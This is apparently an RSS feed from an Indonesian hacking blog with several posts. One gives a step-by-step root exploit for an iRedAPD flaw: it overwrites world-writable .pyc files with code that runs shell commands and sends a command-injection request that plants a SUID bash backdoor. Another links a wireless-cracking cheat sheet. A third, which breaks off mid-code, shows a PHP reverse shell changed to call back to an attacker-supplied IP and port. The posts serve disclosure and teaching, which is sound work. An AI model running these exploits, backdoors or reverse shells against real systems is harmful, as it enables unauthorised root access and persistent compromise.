<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uVut4wjK4fI:W1oLJqps_n4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uVut4wjK4fI:W1oLJqps_n4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=uVut4wjK4fI:W1oLJqps_n4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uVut4wjK4fI:W1oLJqps_n4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=uVut4wjK4fI:W1oLJqps_n4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uVut4wjK4fI:W1oLJqps_n4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uVut4wjK4fI:W1oLJqps_n4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=uVut4wjK4fI:W1oLJqps_n4:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/memahami-teknik-penyebaran-status-berantai-di-facebook/feed/</wfw:commentRss>
		<slash:comments>33</slash:comments>
		</item>
		<item>
		<title>iRedAPD root exploit [with video]</title>
		<link>http://www.ilmuhacking.com/advisory/iredapd-root-exploit/</link>
		<comments>http://www.ilmuhacking.com/advisory/iredapd-root-exploit/#comments</comments>
		<pubDate>Fri, 12 Nov 2010 07:46:17 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Advisory]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2375</guid>
		<description><![CDATA[iRedAPD adalah salah satu komponen dari iRedMail yang merupakan kumpulan script dan tools untuk membuat mail server lengkap dengan cara instalasi yang mudah dan sederhana. Saya menemukan kelemahan pada iRedAPD sebelum versi 1.3.3 yang bisa dieksploit untuk mendapatkan root. Bug ini saya temukan bulan juli 2010, advisory sudah diumumkan di sini. Agar lebih jelas, di [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">iRedAPD adalah salah satu komponen dari <a href="http://www.iredmail.org/">iRedMail</a> yang merupakan kumpulan script dan tools untuk membuat mail server lengkap dengan cara instalasi yang mudah dan sederhana. Saya menemukan kelemahan pada iRedAPD sebelum versi 1.3.3 yang bisa dieksploit untuk mendapatkan root. Bug ini saya temukan bulan juli 2010, advisory sudah diumumkan di <a href="http://www.iredmail.org/forum/topic1120-urgent-security-fix-of-iredapd132-and-earlier-versions.html">sini</a>. Agar lebih jelas, di akhir tulisan saya embed juga video proof-of-concept eksploitasi bug ini.</p>
<p><span id="more-2375"></span></p>
<p style="text-align: justify;"><strong>Vulnerability</strong></p>
<p style="text-align: justify;">Kesalahan utama disini adalah nilai umask yang kelewat longgar sehingga menciptakan file .pyc yang world-writable. Kesalahan ini diperparah lagi dengan iredapd yang menjalankan daemon by default sebagai user root.</p>
<p style="text-align: justify;">
 Menjalankan iredapd sebagai root seharusnya tidak perlu karena daemon ini tidak membutuhkan resource apapun yang membutuhkan akses root. Prinsip &#8220;use least privilege&#8221; berguna dalam situasi ini. Memang menjalankan daemon sebagai root tidak secara langsung mengakibatkan vulnerability, namun bila terjadi vulnerability pada program, maka hasilnya akan menjadi fatal.</p>
</p>
<p style="text-align: justify;">File /opt/iredapd/src/daemon.py mendefinisikan nilai UMASK = 0 (zero). Seperti yang kita tahu nilai umask di UNIX dipakai untuk menentukan permission terhadap file yang baru dibuat. Nilai umask 0 artinya file yang baru dibuat akan memiliki permission 666 (rw-rw-rw) atau 777 (rwxrwxrwx) untuk direktori.</p>
<p>Berikut ini adalah snippet file daemon.py yang mengandung nilai UMASK zero.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">import logging
import os
import sys
&nbsp;
# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
&nbsp;
# Default daemon parameters.
# File mode creation mask of the daemon.
UMASK = 0
&nbsp;
# Default working directory for the daemon.
WORKDIR = &quot;/&quot;
&nbsp;
# Default maximum for the number of available file descriptors.
MAXFD = 1024</pre></div></div>

<p style="text-align: justify;">Direktori /opt/iredapd/src/plugins/ mengandung file plugin yang akan diload oleh iredapd. Plugin ini akan dicompile oleh python menjadi file PYC (python compiled) ketika diload pertama kali. Dalam loading berikutnya python tidak perlu lagi membaca source .py, python akan langsung memakai file .pyc yang sudah dicompile sehingga loading berikutnya akan lebih cepat.</p>
<p style="text-align: justify;">Lalu apa hubungannya plugin ini dengan umask? Dengan nilai umask zero, artinya ketika iredapd pertama kali meload file plugin, akan tercipta file .pyc yang memiliki permission world-writable 666 (rw-rw-rw). Dengan menimpa file .pyc dengan malicious file ditambah dengan daemon yang running as root, hacker bisa mendapatkan akses root di server tersebut.</p>
<p style="text-align: justify;"><strong>Python Compiled</strong></p>
<p style="text-align: justify;">Ketika mengcompile file .py menjadi file .pyc, modification time dari file .py akan dicatat di header file .pyc dalam format EPOCH time. Ketika python akan meload suatu module, python akan melihat lagi timestamp yang ada di header file pyc. Bila modification time yang tercatat di header file .pyc tidak sama dengan modification time file .py, maka python akan mengabaikan file .pyc tersebut dan memilih memakai file .py yang belum dikompilasi.</p>
<p style="text-align: justify;">Perhatikan contoh file pyc di bawah ini.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">xxd ldap_maillist_access_policy.pyc |head -1
0000000: 6df2 0d0a 9938 484c 6300 0000 0000 0000  m....8HLc.......</pre></div></div>

<p style="text-align: justify;">4 byte pertama adalah magic number, dan diikuti oleh 4 byte berikutnya yang berisi modification time dari file .py. Nilai pada byte ke-4 s/d 7 adalah 0x9938484c yang dibaca sebagai 0x4c483899. Nilai tersebut adalah 1279801497 detik epoch yang berarti 22 Jul 2010 12:24:57 GMT atau 22 Juli 2010 19:24:57 dalam GMT+7. Jadi file .pyc ini adalah bentuk terkompilasi dari file .py yang dimodifikasi terakhir pada 22 juli 2010 19:24:57 GMT+7. Bila dilakukan &#8220;ls -l&#8221; terlihat bahwa file .py memang dimodifikasi terakhir pada waktu tersebut.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">-rw-r--r-- 1 iredapd iredapd 3969 Jul 22 19:24 ldap_maillist_access_policy.py</pre></div></div>

<p style="text-align: justify;">Bila timestamp yang tercatat di header file .pyc tidak cocok dengan modification time dari file .py, maka file .pyc tersebut akan diabaikan. Jadi kita tidak bisa begitu saja menimpa file .pyc dengan file .pyc yang kita bikin sendiri, kita harus sesuaikan dulu 4 byte timestamp agar cocok dengan modification time file .py.</p>
<blockquote><p>Sebelum menimpa pastikan 4 byte timestamp di header malicious .pyc harus sama dengan original .pyc</p></blockquote>
<p style="text-align: justify;"><strong>Creating Malicious PYC</strong></p>
<p style="text-align: justify;">
File plugin yang saya jadikan contoh adalah ldap_maillist_access_policy.py. Agar mudah dalam membuat file malicious pyc, hacker bisa menginstall linux dengan iredapd di vmware sebagai test lab. Dalam box tersebut hacker memodifikasi file source plugin berekstensi .py dengan memasukkan 2 baris berikut:
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/11/pyc1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/11/pyc1.png" alt="" title="pyc1" width="642" height="234" class="aligncenter size-full wp-image-2387" /></a></p>
<p style="text-align: justify;">
Setelah file .py di test lab hacker ditambahkan 2 baris untuk mengeksekusi os command dari input field &#8220;sender&#8221;, maka selanjutnya file .py ini harus dicompile menjadi .pyc. Kita bisa memakai fungsi __import__ di python untuk mengcompile file .py menjadi .pyc. Perhatikan gambar di bawah ini.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/11/iredapd1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/11/iredapd1.png" alt="" title="iredapd1" width="685" height="178" class="aligncenter size-full wp-image-2395" /></a></p>
<p style="text-align: justify;">Setelah berhasil di-import, maka otomatis tercipta file ldap_maillist_access_policy.pyc yang merupakan hasil kompilasi file ldap_maillist_access_policy.py.</p>
<p style="text-align: justify;">Dalam video yang saya buat, saya tidak memakai cara ini untuk mengcompile, saya mentrigger iredapd untuk melakukan loading plugin yang otomatis akan mengcompile file .py menjadi .pyc. Kedua cara ini hasil akhirnya sama, yaitu tercipta file .pyc yang sudah disusupi malicious code.</p>
<p style="text-align: justify;"><b>Manipulating PYC Header Timestamp</b></p>
<p style="text-align: justify;">Setelah hacker berhasil membuat malicious PYC, selanjutnya file ini harus ditimpa ke original PYC di server korban. Tapi sebelumnya byte ke-4 hingga byte ke-7 dari malicious pyc milik hacker harus disamakan dengan file pyc original. Saya memakai xxd untuk membaca 4 byte di header file pyc yang asli.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ xxd -l 8 ldap_maillist_access_policy.pyc
0000000: 6df2 0d0a 9938 484c                      m....8HL</pre></div></div>

<p style="text-align: justify;">
Dalam contoh di atas, nilai timestamp pyc yang asli adalah 0x4c483899. Timestamp di header file malicious pyc harus diganti menjadi 0x4c483899 agar sama dengan original pyc. Hexeditor apa saja bisa dipakai untuk mengubah 4 byte header file PYC. Tapi di sini saya memakai vim dikombinasikan dengan xxd. Lebih jelasnya cara memakai vim sebagai hex editor anda bisa lihat di videonya.
</p>
<p style="text-align: justify;">
Setelah dipastikan file malicious pyc isi headernya sama dengan original pyc, maka file malicious pyc tersebut bisa dikopi menimpa file original pyc.
</p>
<p><b>Executing command as root</b></p>
<p style="text-align: justify;">
Setelah malicous pyc berhasil menggantikan original pyc, selanjutnya harus menunggu iredapd di-restart agar file malicious pyc diload ke memori.
</p>
<p style="text-align: justify;">
Mari kita asumsikan saja iredapd sudah direstart. Maka untuk mengeksekusi command kita harus berkomunikasi dengan iredapd yang listen di port 7777. Saya memakai command &#8220;nc localhost 777&#8243; untuk berkomunikasi ke port 7777. Request yang saya kirim adalah seperti di bawah ini.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">request=smtpd_access_policy
protocol_state=RCPT
protocol_name=ESMTP
client_address=79.29.240.22
client_name=unknown
reverse_client_name=unknown
helo_name=telecomitalia.it
sender=/bin/cp /bin/bash /tmp;chmod 4755 /tmp/bash
recipient=dummy@google.com
recipient_count=0
queue_id=
instance=647f.4c558223.881a4.0
size=5866
etrn_domain=
stress=
sasl_method=
sasl_username=
sasl_sender=
ccert_subject=
ccert_issuer=
ccert_fingerprint=
encryption_protocol=
encryption_cipher=
encryption_keysize=0</pre></td></tr></table></div>

<p style="text-align: justify;">
Perhatikan bahwa field sender saya isi dengan &#8220;/bin/cp /bin/bash /tmp;chmod 4755 /tmp/bash&#8221;. Ingat bahwa malicious code yang saya sisipkan adalah os.system(smtpSessionData["sender"]), artinya isi dari field sender akan dieksekusi. Command yang saya masukkan adalah membuat file bash shell dengan permission SUID root. Artinya adalah ketika user biasa mengeksekusi &#8220;/tmp/bash -p&#8221;, maka otomatis orang tersebut menjadi root. Ini adalah teknik backdoor yang klasik hanya sekedar contoh.
</p>
<p><b>Kesimpulan</b></p>
<p style="text-align: justify;">
Kesalahan pada program ini bukan pada kesalahan coding/programming, tapi kesalahan dalam menentukan nilai umask untuk menentukan permission file baru. Hanya karena satu baris kesalahan itu akibatnya ternyata fatal, sistem bisa dikuasai sepenuhnya oleh hacker.
</p>
<p style="text-align: justify;">
Kesalahan kedua adalah pelanggaran terhadap prinsip &#8220;use least privilege&#8221;. iredapd ini dijalankan dengan user root sehingga vulnerability ini bisa berakibat didapatnya akses root oleh hacker. Seandainya iredapd ini dijalankan sebagai user biasa, maka vulnerability ini tidak bisa dieksploit sampai mendapatkan akses root, hacker tidak bisa melakukan privilege escalation dan tetap menjadi user biasa.
</p>
<p style="text-align: justify;">
Dalam membuat program kita tidak hanya memperhatikan aspek secure programming saja. Kita harus memikirkan juga secure design. Pada saat desain sebelum masuk coding kita harus tentukan bagaimana konfigurasi, setting, permission, user access (perlukah dijalankan sebagai root?) yang paling secure untuk program yang kita buat.
</p>
<p style="text-align: justify;">Watch The Video</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/23sq22lbzTQ?fs=1&amp;hl=en_US&amp;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/23sq22lbzTQ?fs=1&amp;hl=en_US&amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=qiFeKYhidWw:_ICHvMB9IIs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=qiFeKYhidWw:_ICHvMB9IIs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=qiFeKYhidWw:_ICHvMB9IIs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=qiFeKYhidWw:_ICHvMB9IIs:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=qiFeKYhidWw:_ICHvMB9IIs:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=qiFeKYhidWw:_ICHvMB9IIs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=qiFeKYhidWw:_ICHvMB9IIs:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=qiFeKYhidWw:_ICHvMB9IIs:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/advisory/iredapd-root-exploit/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>[Videos] Applying WiFu Cheat Sheet</title>
		<link>http://www.ilmuhacking.com/how-to/videos-applying-wifu-cheat-sheet/</link>
		<comments>http://www.ilmuhacking.com/how-to/videos-applying-wifu-cheat-sheet/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 04:07:00 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2351</guid>
		<description><![CDATA[Agar lebih mudah memahami pemakaian WiFu Cheat Sheet, saya membuat 4 video tutorial untuk masing-masing skenario, yaitu WEP SKA, WEP OSA, Clientless WEP dan WPA/WPA2 PSK. Dalam video saya memasukkan MAC address access point, MAC address komputer yang menjalankan backtrack dan MAC address salah satu client yang terkoneksi ke access point ke dalam file macaddress.sh [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Agar lebih mudah memahami pemakaian WiFu Cheat Sheet, saya membuat 4 video tutorial untuk masing-masing skenario, yaitu WEP SKA, WEP OSA, Clientless WEP dan WPA/WPA2 PSK.</p>
<p style="text-align: justify;">Dalam video saya memasukkan MAC address access point, MAC address komputer yang menjalankan backtrack dan MAC address salah satu client yang terkoneksi ke access point ke dalam file macaddress.sh untuk menyederhanakan video. Informasi MAC address access point dan MAC address client bisa didapatkan dengan menjalankan &#8220;airodump-ng wlan0&#8243; , sedangkan informasi MAC address komputer sendiri bisa didapatkan dengan menjalankan &#8220;macchanger -s wlan0&#8243;.</p>
<p><strong>Clientless WEP</strong></p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/pDXKTE1qKkM&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/pDXKTE1qKkM&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p><span id="more-2351"></span></p>
<p><strong>WEP Shared Key Authentication</strong></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/KvyRR2NLoGs&amp;hl=en_US&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/KvyRR2NLoGs&amp;hl=en_US&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><strong>WEP Open System Authentication</strong><br />
<object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/NtX1exmZMm0&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/NtX1exmZMm0&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p><strong>WPA/WPA2 Pre-Shared-Key</strong></p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/4uR8_aclO5Q&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/4uR8_aclO5Q&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=90jMLLRHQjM:divPkNY00wM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=90jMLLRHQjM:divPkNY00wM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=90jMLLRHQjM:divPkNY00wM:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/videos-applying-wifu-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>WiFu Cheat Sheet</title>
		<link>http://www.ilmuhacking.com/how-to/wifu-cheat-sheet/</link>
		<comments>http://www.ilmuhacking.com/how-to/wifu-cheat-sheet/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 07:24:09 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2335</guid>
		<description><![CDATA[Saya baru membuat cheat sheet yang cukup padat namun singkat untuk hacking wireless network dengan Aircrack-ng . Aircrack-ng adalah kumpulan tools yang digunakan untuk melakukan hacking terhadap jaringan wireless. Tools yang termasuk dalam aircrack-ng antara lain: airmon-ng, airodump-ng, aireplay-ng, packetforge-ng, aircrack-ng dan masih banyak lagi lainnya. Pre-requisite: Backtrack, nggak harus tapi very recommended Wireless adapter [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Saya baru membuat cheat sheet yang cukup padat namun singkat untuk hacking wireless network dengan Aircrack-ng . Aircrack-ng adalah kumpulan tools yang digunakan untuk melakukan hacking terhadap jaringan wireless. Tools yang termasuk dalam aircrack-ng antara lain: airmon-ng, airodump-ng, aireplay-ng, packetforge-ng, aircrack-ng dan masih banyak lagi lainnya.</p>
<p>Pre-requisite:</p>
<ul>
<li>Backtrack, nggak harus tapi very recommended</li>
<li style="text-align: justify;">Wireless adapter dengan kemampuan packet injection. Saya pakai Alfa AWUS036H karena jangkauannya sangat jauh dan works out of the box di backtrack. Daftar lengkap wireless adapter yang compatible dengan backtrack bisa dilihat di daftar ini <a href="http://backtrack.offensive-security.com/index.php/HCL:Wireless">HCL: Wireless</a>.</li>
</ul>
<p style="text-align: justify;">Cheat sheet ini mengcover sebagian besar kemungkinan situasi di dunia nyata. Skenario jaringan wireless yang bisa dihack dengan mengikuti cheat sheet ini adalah:</p>
<ul>
<li>WEP open authentication dengan client atau tanpa client (clientless WLAN)</li>
<li>WEP shared key authentication (minimal harus ada 1 client)</li>
<li>WPA/WPA2 Pre Shared Key (minimal harus ada 1 client)</li>
</ul>
<p style="text-align: justify;">Hampir semua jaringan wireless yang ada sekarang masuk dalam 3 kemungkinan di atas. Jaringan dengan WEP, praktis bisa dihack semua. Jaringan dengan WPA/WPA2 bisa dihack dengan dictionary attack, jadi sangat tergantung daftar password yang dimiliki. Dalam cheat sheet saya juga menyertakan cara menggunakan john the ripper untuk generate password list atau melakukan modifikasi daftar password dasar menjadi kata baru berdasarkan aturan tertentu.</p>
<p>Oke, selanjutnya langsung saja download cheat sheetnya: <a href="/wp-content/uploads/2010/07/wifu-cheat-sheet.pdf">WiFu Cheat Sheet 1.0</a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=M1SUhFMwH5s:YmT4n7ACQ7Q:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=M1SUhFMwH5s:YmT4n7ACQ7Q:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=M1SUhFMwH5s:YmT4n7ACQ7Q:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/wifu-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Reverse Connecting Shell di PHP</title>
		<link>http://www.ilmuhacking.com/how-to/reverse-connecting-shell-di-php/</link>
		<comments>http://www.ilmuhacking.com/how-to/reverse-connecting-shell-di-php/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 06:54:07 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2267</guid>
		<description><![CDATA[Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif. Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.</p>
<p style="text-align: justify;">Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.</p>
<p><span id="more-2267"></span></p>
<p style="text-align: justify;"><strong>Reverse Shell PHP di Linux<br />
</strong></p>
<p style="text-align: justify;">Saya memakai reverse shell php dari situs <a href="http://pentestmonkey.net/tools/php-reverse-shell/">pentestmonkey.net</a> dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.</p>
<p style="text-align: justify;">Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">set_time_limit</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$VERSION</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1.0&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'127.0.0.1'</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// CHANGE THIS</span>
<span style="color: #000088;">$port</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1234</span><span style="color: #339933;">;</span>       <span style="color: #666666; font-style: italic;">// CHANGE THIS</span>
<span style="color: #000088;">$chunk_size</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1400</span><span style="color: #339933;">;</span></pre></div></div>

<p style="text-align: justify;">Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">set_time_limit</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$VERSION</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1.0&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$port</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$chunk_size</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1400</span><span style="color: #339933;">;</span></pre></div></div>

<p style="text-align: justify;">Jadi source code lengkap rs.php adalah sebagai berikut:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">set_time_limit</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$VERSION</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1.0&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$port</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$chunk_size</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1400</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$write_a</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$error_a</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$shell</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/bin/bash -p -i'</span><span style="color: #339933;">;</span>
